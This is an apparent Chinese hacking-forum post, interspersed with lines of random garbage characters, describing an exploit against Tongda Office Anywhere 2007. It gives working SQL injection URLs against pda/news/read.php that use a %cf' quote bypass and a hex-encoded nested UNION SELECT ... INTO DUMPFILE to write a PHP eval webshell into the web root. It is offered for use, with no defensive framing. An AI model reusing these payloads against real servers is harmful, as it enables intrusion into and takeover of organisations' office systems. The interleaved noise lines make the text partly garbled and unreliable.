目前测试通达OA2007版本
3 Z" j! e. m* A& ~. L. c! M6 W9 K4 z/ t9 k
3 `/ M( K. \& n$ Z" b- P# `Office Anywhere 2007 网络智能办公系统
. N! M7 o G; d8 h) I( ]9 C _9 m8 G# S/ r( Q4 k u
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
% S2 @0 }& W l* `* a! m, c " C7 ?6 r4 y0 t+ _; f
/ n+ n6 R8 ?8 \' S- Z5 Y这个时候看了下代码,存在注入的那个变量的语句中第3个字段,在该文件下面被另外个select语句调用了,灵光一闪,大概思路是这样的
/ [" Z7 d$ \3 S" Z ! Z# f5 b1 I# W4 u6 E
例如:SELECT * from USER where USER_ID='{$USERNAME}'
7 ]) e N4 |- j) ^" y. J! O( s9 _- S- q其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
& V( d3 K# `/ I2 G; k; i 9 i# c9 l- H1 K
这个时候我们是不是可以组合起来使用哪?3 L" a. L+ C: |
' n8 `! q; Y3 q( S, Z第一条语句开始注入,union select 1,2,3,4,5,6,7,8,9,10...,比如第3个是PROVIDER字段,我们这样
, F3 @2 L+ h0 g ]! J2 Yunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
$ d/ p! y2 i( m+ ~9 Y. X1 p. T5 f 9 h! v7 _5 y$ B/ Q" N
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
% }% Y. q9 m& y% F* o/ V; _
5 g/ P* v& O) }) ~那么问题来了,单引号可以吗?当然是不可以的,^_^。。。
3 V( P6 ^% ~* ^# C # P. F# k7 E7 ]& e, h
那么我们用字符串格式带入进行hex编码
! t" ?8 g, @! h* S
' K$ E4 W' w X4 E/ d" ^' K%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23" E. G" y7 p0 e2 G
z/ P) x2 I8 u6 C! l
测试ok,获取oa的webshell' I3 ~/ e5 F( `; R7 e* D
+ E, x3 _8 Z6 w' w2 b3 t # T' U5 [% y* j
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
" z- h* A$ v b4 r% N3 K5 r f直接getwebshell |